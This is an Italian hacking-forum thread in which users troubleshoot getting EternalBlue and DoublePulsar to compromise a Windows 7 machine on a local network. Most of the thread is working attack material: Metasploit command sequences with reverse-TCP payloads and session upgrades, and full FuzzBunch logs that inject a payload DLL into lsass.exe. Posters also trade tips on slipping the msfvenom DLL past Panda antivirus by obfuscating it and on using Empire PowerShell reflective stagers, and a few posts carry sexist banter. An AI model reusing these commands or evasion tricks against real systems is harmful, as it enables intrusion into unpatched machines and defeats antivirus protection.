Domanda eternalblue Doublepulsar "Exploit completed, but no session was created"

Stato
Discussione chiusa ad ulteriori risposte.
Prova anche ciò che ti ha detto cutl4ss anche se qui il problema è di connessione
Bisogna fare alcune prove con i processi. Provate anche injectando lsass.exe che è il processo di default per sistemi a 64bit. :eek: Ad ogni modo, come ho già detto, il problema sta nel modulo stesso di Metasploit, che genera in automatico la dll:
Codice:
#Generate DLL
  print_status("Generating payload DLL for Doublepulsar")
  pay = framework.modules.create(datastore['payload'])
  pay.datastore['LHOST'] = datastore['LHOST']
  dll = pay.generate_simple({'Format'=>'dll'})
  File.open(datastore['WINEPATH']+datastore['DLLName'],'w') do |f|
    print_status("Writing DLL in #{dllpayload}")
    f.print dll
 
Prova a sostituire il processo injectato con explorer.exe oppure svchost.exe

Cut mi sto perdendo

Use exploit/windows/smb/eternalblue_doublepulsar

Set payload windows/meterpreter/reverse_tcp

set RHOST

set LHOST

exploit ☹️☹️☹️[emoji848][emoji848][emoji848]

Come sostituisco il processo injectato ??? [emoji848][emoji848] EXITFUNC??


Inviata da iPhone tramite app ufficiale di Inforge.net
 
IMG_3093.JPG


set PROCESSINJECT [emoji4][emoji4]


Inviata da iPhone tramite app ufficiale di Inforge.net
 
Bisogna fare alcune prove con i processi. Provate anche injectando lsass.exe che è il processo di default per sistemi a 64bit. :eek: Ad ogni modo, come ho già detto, il problema sta nel modulo stesso di Metasploit, che genera in automatico la dll:
Codice:
#Generate DLL
  print_status("Generating payload DLL for Doublepulsar")
  pay = framework.modules.create(datastore['payload'])
  pay.datastore['LHOST'] = datastore['LHOST']
  dll = pay.generate_simple({'Format'=>'dll'})
  File.open(datastore['WINEPATH']+datastore['DLLName'],'w') do |f|
    print_status("Writing DLL in #{dllpayload}")
    f.print dll
Infatti nella guida che ho fatto ho consigliato di utilizzare il fuzzbunch su github poiché oltre al problema del dll metasploit da anche falsi positivi su dispositivi apparentemente non patchati quando in realtà lo sono
 
SIIIIIIIIIIIIII
emoji813.png
emoji813.png
emoji813.png
emoji813.png
emoji813.png
emoji813.png
️ grazie a tuttiiii

Yeah, come ci sei riuscita? Piccolo trick: a questo punto puoi usare il modulo post/multi/manage/shell_to_meterpreter per fare l'upgrade e ottenere una shell meterpreter:

Codice:
Ctrl+Z
set LHOST
set LPORT        #assicurati di cambiare porta
sessions -u 1    #id della tua sessione
sessions -i
sessions -i 2    #id sessione meterpreter
 
Yeah, come ci sei riuscita? Piccolo trick: a questo punto puoi usare il modulo post/multi/manage/shell_to_meterpreter per fare l'upgrade e ottenere una shell meterpreter:

Codice:
Ctrl+Z
set LHOST
set LPORT        #assicurati di cambiare porta
sessions -u 1    #id della tua sessione
sessions -i
sessions -i 2    #id sessione meterpreter

IMG_3095.JPG


Appunti su un foglio se nn chiari ovviamente ti posto tutti i comandi per bene

Ho fatto un set RPORT 445 non so se era necessario ma riavviato tutto e ripartito tutto ho riprovato tutto ok [emoji106][emoji106]



Inviata da iPhone tramite app ufficiale di Inforge.net
 
usando nickname del genere, mani da maschietto riflesse sullo schermo, metti ansia a uno più attento :asd:

[emoji23][emoji23][emoji23][emoji23][emoji23] verissimo io e il mio ragazzo siamo insieme lui mi aiuta x farmi le foto ed inviarvele [emoji23][emoji23][emoji23] diciamo che accendere il computer è capace e basta [emoji23][emoji23][emoji23]




Inviata da iPhone tramite app ufficiale di Inforge.net
 
ti hanno chiamato a cena e devi togliere la gonna e pulire il rosetto. attento che l'alcool per togliere la lacca dalle unghie si sente per un bel po :asd:
 
Ultima modifica:
No aspetta tramite WAN hai problema di port forwarding non tramite LAN ma questo non è problema di port forwarding questo sembra proprio l`errore che da quando il pc "vittima" è stato patchato per la vulnerabilità con la patch di Maggio

questo è il LOG dell'errore

Codice:
[*] Connecting to target for exploitation.
[-] Error connecting to target
[+] CORE terminated with status code 0xdf5d000b
[-] Error getting output back from Core; aborting...
[*] Core thread exit code: 0x00000000
[*] Proxy thread exit code:   0x00000000
/e questa la risposta di MS scanner su Armitage

Codice:
msf auxiliary(smb_ms17_010) > set RHOSTS 192.168.1.73
RHOSTS => 192.168.1.73
msf auxiliary(smb_ms17_010) > set SMBDomain .
SMBDomain => .
msf auxiliary(smb_ms17_010) > set THREADS 24
THREADS => 24
msf auxiliary(smb_ms17_010) > set RPORT 445
RPORT => 445
msf auxiliary(smb_ms17_010) > run -j
[*] Auxiliary module running as background job
[+] 192.168.1.73:445      - Host is likely VULNERABLE to MS17-010!  (Windows 7 Ultimate 7601 Service Pack 1)
[*] Scanned 1 of 1 hosts (100% complete)
Ciao neo allora anche tu controlla il punto 8 della mia guida nella zona RISOLUZIONE PROBLEMI poiché anche se lo scan dice che sei vulnerabile quello sta solamente a vedere, come lo scanner di eset, la versione del file di sistema srv.sys oppure invia un pacchetto simile a quello dell`exploit al smb server tuttavia se hai effettuato l`aggiornamennto di windows defender oppure di windows in generale anche il semplice windows firewall può bloccare l`attacco oppure se hai un antivirus attivo il suo firewall blocca di sicuro l`exploit; ci sono comunque altre 2 possibilità 1 che il firewall del router non ti permette l`exploit e qui non puoi fare quasi nulla come ho detto nella guida (anche se questa cosa avviene specialmente quando lavori in WAN cioè in rete remota) oppure il protocollo smb v1 e v2 sul computer vittima non è attivo e per attivarlo e per verificare se è attivo segui questa guida microsoft https://support.microsoft.com/it-it...-smbv1-smbv2-and-smbv3-in-windows-and-windows ti dico ciò perché l`errore evidenzia che il pc non riesce proprio a connettersi alla vittima

allora ci sono quasi:

l'errore era provocato da che su Use redirection lasciavo di default yes, invece mettendo NO ora mi da il successo sia di Eternalblue che di Doublepulsar.

Ho provato ad iniettare una dll creata con Msfvenom per x 64 ma veniva rilevata da Panda Antivirus. Una volta offuscata con PEScrambler non viene più rilevata ma sulla consolle di Armitage impostando come exploit multi/handler e payload meterpreter reverse_tcp non mi si avvia la sessione.

non so se ho commesso qualche errore di impostazione delle porte.
 
Ultima modifica:
questo è il LOG dell'errore

Codice:
[*] Connecting to target for exploitation.
[-] Error connecting to target
[+] CORE terminated with status code 0xdf5d000b
[-] Error getting output back from Core; aborting...
[*] Core thread exit code: 0x00000000
[*] Proxy thread exit code:   0x00000000
/e questa la risposta di MS scanner su Armitage

Codice:
msf auxiliary(smb_ms17_010) > set RHOSTS 192.168.1.73
RHOSTS => 192.168.1.73
msf auxiliary(smb_ms17_010) > set SMBDomain .
SMBDomain => .
msf auxiliary(smb_ms17_010) > set THREADS 24
THREADS => 24
msf auxiliary(smb_ms17_010) > set RPORT 445
RPORT => 445
msf auxiliary(smb_ms17_010) > run -j
[*] Auxiliary module running as background job
[+] 192.168.1.73:445      - Host is likely VULNERABLE to MS17-010!  (Windows 7 Ultimate 7601 Service Pack 1)
[*] Scanned 1 of 1 hosts (100% complete)


allora ci sono quasi:

l'errore era provocato da che su Use redirection lasciavo di default yes, invece mettendo NO ora mi da il successo sia di Eternalblue che di Doublepulsar.

Ho provato ad iniettare una dll creata con Msfvenom per x 64 ma veniva rilevata da Panda Antivirus. Una volta offuscata con PEScrambler non viene più rilevata ma sulla consolle di Armitage impostando come exploit multi/handler e payload meterpreter reverse_tcp non mi si avvia la sessione.

non so se ho commesso qualche orrore di impostazione delle porte.
Attento all`architettura del payload devi settare correttamente quella parte
 
Hai settato il gestore con un payload x64?
Codice:
set PAYLOAD windows/x64/meterpreter/reverse_tcp

effettivamente avevo sbagliato, ho corretto ma su metasploit non succede niente:
ho provato a cambiare anche il payload con shell_reverse_tcp

Metasploit:
Codice:
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/x64/shell_reverse_tcp
PAYLOAD => windows/x64/shell_reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.76
LHOST => 192.168.1.76
msf exploit(handler) > set LPORT 6666
LPORT => 6666
msf exploit(handler) > exploit -j
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.1.76:6666
msf exploit(handler) > [*] Starting the payload handler...

msf exploit(handler) >

Fuzz Bunch
Codice:
[+] Set Project => shell rev

fb >
fb > use eternalblue

[!] Entering Plugin Context :: Eternalblue
[*] Applying Global Variables
[+] Set NetworkTimeout => 60
[+] Set TargetIp => 192.168.1.73

fb Special (Eternalblue) > apply
[*] Applying Session Parameters
fb Special (Eternalblue) > echo Running Exploit Touches
[*] Running Exploit Touches
fb Special (Eternalblue) > touch all
fb Special (Eternalblue) > enter Special

fb Special (Eternalblue) > prompt confirm

[!] Enter Prompt Mode :: Eternalblue

Module: Eternalblue
===================

Name                  Value                                                 
----                  -----                                                 
NetworkTimeout        60                                                   
TargetIp              192.168.1.73                                         
TargetPort            445                                                   
VerifyTarget          True                                                 
VerifyBackdoor        True                                                 
MaxExploitAttempts    3                                                     
GroomAllocations      12                                                   
Target                WIN72K8R2                                             

[!] plugin variables are valid

[*]  NetworkTimeout :: Timeout for blocking network calls (in seconds). Use -1 for no timeout.


[*]  TargetIp :: Target IP Address


[*]  TargetPort :: Port used by the SMB service for exploit connection


[*]  VerifyTarget :: Validate the SMB string from target against the target selected before exploitation.


[*]  VerifyBackdoor :: Validate the presence of the DOUBLE PULSAR backdoor before throwing. This option must be enabled for multiple exploit attempts.


[*]  MaxExploitAttempts :: Number of times to attempt the exploit and groom. Disabled for XP/2K3.


[*]  GroomAllocations :: Number of large SMBv2 buffers (Vista+) or SessionSetup allocations (XK/2K3) to do.


[*]  Target :: Operating System, Service Pack, and Architecture of target OS

    0) XP            Windows XP 32-Bit All Service Packs
   *1) WIN72K8R2     Windows 7 and 2008 R2 32-Bit and 64-Bit All Service Packs


fb Special (Eternalblue) > execute

[!] Preparing to Execute Eternalblue

[*]  Mode :: Delivery mechanism

   *0) DANE     Forward deployment via DARINGNEOPHYTE
    1) FB       Traditional deployment from within FUZZBUNCH

[+] Run Mode: FB

[*] Redirection OFF

[+] Configure Plugin Local Tunnels
[+] Local Tunnel - local-tunnel-1
[+] (TCP) Local 192.168.1.73:445

[+] Configure Plugin Remote Tunnels


Module: Eternalblue
===================

Name                  Value                                                 
----                  -----                                                 
DaveProxyPort         0                                                     
NetworkTimeout        60                                                   
TargetIp              192.168.1.73                                         
TargetPort            445                                                   
VerifyTarget          True                                                 
VerifyBackdoor        True                                                 
MaxExploitAttempts    3                                                     
GroomAllocations      12                                                   
ShellcodeBuffer                                                             
Target                WIN72K8R2                                             

[*] Executing Plugin
[+] Eternalblue Succeeded

fb Special (Eternalblue) > use doublepulsar

[!] Entering Plugin Context :: Doublepulsar
[*] Applying Global Variables
[+] Set NetworkTimeout => 60
[+] Set TargetIp => 192.168.1.73

fb Payload (Doublepulsar) > apply
[*] Applying Session Parameters
fb Payload (Doublepulsar) > prompt confirm

[!] Enter Prompt Mode :: Doublepulsar

Module: Doublepulsar
====================

Name              Value                                                 
----              -----                                                 
NetworkTimeout    60                                                   
TargetIp          192.168.1.73                                         
TargetPort        445                                                   
OutputFile                                                             
Protocol          SMB                                                   
Architecture      x86                                                   
Function          OutputInstall                                         

[!] Plugin Variables are NOT Valid

[*]  NetworkTimeout :: Timeout for blocking network calls (in seconds).  Use -1 for no timeout.


[*]  TargetIp :: Target IP Address


[*]  TargetPort :: Port used by the Double Pulsar back door


[*]  Protocol :: Protocol for the backdoor to speak

   *0) SMB     Ring 0 SMB (TCP 445) backdoor
    1) RDP     Ring 0 RDP (TCP 3389) backdoor


[*]  Architecture :: Architecture of the target OS

   *0) x86     x86 32-bits
    1) x64     x64 64-bits

[+] Set Architecture => x64

[*]  Function :: Operation for backdoor to perform

   *0) OutputInstall     Only output the install shellcode to a binary file on disk.
    1) Ping              Test for presence of backdoor
    2) RunDLL            Use an APC to inject a DLL into a user mode process.
    3) RunShellcode      Run raw shellcode
    4) Uninstall         Remove's backdoor from system

[+] Set Function => RunDLL

[*]  DllPayload :: DLL to inject into user mode

[+] Set DllPayload => z:\root\Scrivania\prova26.dll

[*]  DllOrdinal :: The exported ordinal number of the DLL being injected to call


[*]  ProcessName :: Name of process to inject into


[*]  ProcessCommandLine :: Command line of process to inject into


fb Payload (Doublepulsar) > execute

[!] Preparing to Execute Doublepulsar
[*] Redirection OFF

[+] Configure Plugin Local Tunnels
[+] Local Tunnel - local-tunnel-1
[+] (TCP) Local 192.168.1.73:445

[+] Configure Plugin Remote Tunnels


Module: Doublepulsar
====================

Name                  Value                                                 
----                  -----                                                 
NetworkTimeout        60                                                   
TargetIp              192.168.1.73                                         
TargetPort            445                                                   
DllPayload            z:\root\Scrivania\prova26.dll                         
DllOrdinal            1                                                     
ProcessName           lsass.exe                                             
ProcessCommandLine                                                         
Protocol              SMB                                                   
Architecture          x64                                                   
Function              RunDLL                                               

[*] Executing Plugin
[+] Doublepulsar Succeeded
 
effettivamente avevo sbagliato, ho corretto ma su metasploit non succede niente:
ho provato a cambiare anche il payload con shell_reverse_tcp

Metasploit:
Codice:
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/x64/shell_reverse_tcp
PAYLOAD => windows/x64/shell_reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.76
LHOST => 192.168.1.76
msf exploit(handler) > set LPORT 6666
LPORT => 6666
msf exploit(handler) > exploit -j
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.1.76:6666
msf exploit(handler) > [*] Starting the payload handler...

msf exploit(handler) >

Fuzz Bunch
Codice:
[+] Set Project => shell rev

fb >
fb > use eternalblue

[!] Entering Plugin Context :: Eternalblue
[*] Applying Global Variables
[+] Set NetworkTimeout => 60
[+] Set TargetIp => 192.168.1.73

fb Special (Eternalblue) > apply
[*] Applying Session Parameters
fb Special (Eternalblue) > echo Running Exploit Touches
[*] Running Exploit Touches
fb Special (Eternalblue) > touch all
fb Special (Eternalblue) > enter Special

fb Special (Eternalblue) > prompt confirm

[!] Enter Prompt Mode :: Eternalblue

Module: Eternalblue
===================

Name                  Value                                                
----                  -----                                                
NetworkTimeout        60                                                  
TargetIp              192.168.1.73                                        
TargetPort            445                                                  
VerifyTarget          True                                                
VerifyBackdoor        True                                                
MaxExploitAttempts    3                                                    
GroomAllocations      12                                                  
Target                WIN72K8R2                                            

[!] plugin variables are valid

[*]  NetworkTimeout :: Timeout for blocking network calls (in seconds). Use -1 for no timeout.


[*]  TargetIp :: Target IP Address


[*]  TargetPort :: Port used by the SMB service for exploit connection


[*]  VerifyTarget :: Validate the SMB string from target against the target selected before exploitation.


[*]  VerifyBackdoor :: Validate the presence of the DOUBLE PULSAR backdoor before throwing. This option must be enabled for multiple exploit attempts.


[*]  MaxExploitAttempts :: Number of times to attempt the exploit and groom. Disabled for XP/2K3.


[*]  GroomAllocations :: Number of large SMBv2 buffers (Vista+) or SessionSetup allocations (XK/2K3) to do.


[*]  Target :: Operating System, Service Pack, and Architecture of target OS

    0) XP            Windows XP 32-Bit All Service Packs
   *1) WIN72K8R2     Windows 7 and 2008 R2 32-Bit and 64-Bit All Service Packs


fb Special (Eternalblue) > execute

[!] Preparing to Execute Eternalblue

[*]  Mode :: Delivery mechanism

   *0) DANE     Forward deployment via DARINGNEOPHYTE
    1) FB       Traditional deployment from within FUZZBUNCH

[+] Run Mode: FB

[*] Redirection OFF

[+] Configure Plugin Local Tunnels
[+] Local Tunnel - local-tunnel-1
[+] (TCP) Local 192.168.1.73:445

[+] Configure Plugin Remote Tunnels


Module: Eternalblue
===================

Name                  Value                                                
----                  -----                                                
DaveProxyPort         0                                                    
NetworkTimeout        60                                                  
TargetIp              192.168.1.73                                        
TargetPort            445                                                  
VerifyTarget          True                                                
VerifyBackdoor        True                                                
MaxExploitAttempts    3                                                    
GroomAllocations      12                                                  
ShellcodeBuffer                                                            
Target                WIN72K8R2                                            

[*] Executing Plugin
[+] Eternalblue Succeeded

fb Special (Eternalblue) > use doublepulsar

[!] Entering Plugin Context :: Doublepulsar
[*] Applying Global Variables
[+] Set NetworkTimeout => 60
[+] Set TargetIp => 192.168.1.73

fb Payload (Doublepulsar) > apply
[*] Applying Session Parameters
fb Payload (Doublepulsar) > prompt confirm

[!] Enter Prompt Mode :: Doublepulsar

Module: Doublepulsar
====================

Name              Value                                                
----              -----                                                
NetworkTimeout    60                                                  
TargetIp          192.168.1.73                                        
TargetPort        445                                                  
OutputFile                                                            
Protocol          SMB                                                  
Architecture      x86                                                  
Function          OutputInstall                                        

[!] Plugin Variables are NOT Valid

[*]  NetworkTimeout :: Timeout for blocking network calls (in seconds).  Use -1 for no timeout.


[*]  TargetIp :: Target IP Address


[*]  TargetPort :: Port used by the Double Pulsar back door


[*]  Protocol :: Protocol for the backdoor to speak

   *0) SMB     Ring 0 SMB (TCP 445) backdoor
    1) RDP     Ring 0 RDP (TCP 3389) backdoor


[*]  Architecture :: Architecture of the target OS

   *0) x86     x86 32-bits
    1) x64     x64 64-bits

[+] Set Architecture => x64

[*]  Function :: Operation for backdoor to perform

   *0) OutputInstall     Only output the install shellcode to a binary file on disk.
    1) Ping              Test for presence of backdoor
    2) RunDLL            Use an APC to inject a DLL into a user mode process.
    3) RunShellcode      Run raw shellcode
    4) Uninstall         Remove's backdoor from system

[+] Set Function => RunDLL

[*]  DllPayload :: DLL to inject into user mode

[+] Set DllPayload => z:\root\Scrivania\prova26.dll

[*]  DllOrdinal :: The exported ordinal number of the DLL being injected to call


[*]  ProcessName :: Name of process to inject into


[*]  ProcessCommandLine :: Command line of process to inject into


fb Payload (Doublepulsar) > execute

[!] Preparing to Execute Doublepulsar
[*] Redirection OFF

[+] Configure Plugin Local Tunnels
[+] Local Tunnel - local-tunnel-1
[+] (TCP) Local 192.168.1.73:445

[+] Configure Plugin Remote Tunnels


Module: Doublepulsar
====================

Name                  Value                                                
----                  -----                                                
NetworkTimeout        60                                                  
TargetIp              192.168.1.73                                        
TargetPort            445                                                  
DllPayload            z:\root\Scrivania\prova26.dll                        
DllOrdinal            1                                                    
ProcessName           lsass.exe                                            
ProcessCommandLine                                                        
Protocol              SMB                                                  
Architecture          x64                                                  
Function              RunDLL                                              

[*] Executing Plugin
[+] Doublepulsar Succeeded
Ma non è che il payload si è corrotto utilizzando pescrambler? Oppure forse come ripeto è il firewall dell`antivirus (infatti panda ha un antivirus con un firewall abbastanza buono)
 
Ok, ho scorso un po' la discussione e ho visto che per creare la dll usi msfvenom. Purtroppo, come ho scritto anche sopra, questo payload non è affidabile. Una buona alternativa può essere l'uso di Empire Powershell per generare uno stager caricato in memoria tramite reflective injection, tecnica supportata da DoublePulsar.
 
Ho intanto fatto questa prova:

per entrambi i Payload: x64 shell_reverse_tcp e x64 meterpreter reverse_tcp
No offuscato con anti virus disattivato: FUNZIONA
No offuscato con anti virus attivato: Virus
offuscato con anti virus disattivato: NON FUNZIONA
offuscato con anti virus attivo: NON FUNZIONA

offuscarlo con Pescrambler non funziona, provo con Empire Powershell
 
Ok, ho scorso un po' la discussione e ho visto che per creare la dll usi msfvenom. Purtroppo, come ho scritto anche sopra, questo payload non è affidabile. Una buona alternativa può essere l'uso di Empire Powershell per generare uno stager caricato in memoria tramite reflective injection, tecnica supportata da DoublePulsar.

schermata.png


intendi questo? Come lo devo configurare?
 
Ho intanto fatto questa prova:

per entrambi i Payload: x64 shell_reverse_tcp e x64 meterpreter reverse_tcp
No offuscato con anti virus disattivato: FUNZIONA
No offuscato con anti virus attivato: Virus
offuscato con anti virus disattivato: NON FUNZIONA
offuscato con anti virus attivo: NON FUNZIONA

offuscarlo con Pescrambler non funziona, provo con Empire Powershell
Da questa cosa che hai detto le cose sono 2 il firewall dell`antivirus te lo blocca e pescrambler te lo corrompe
 
Stato
Discussione chiusa ad ulteriori risposte.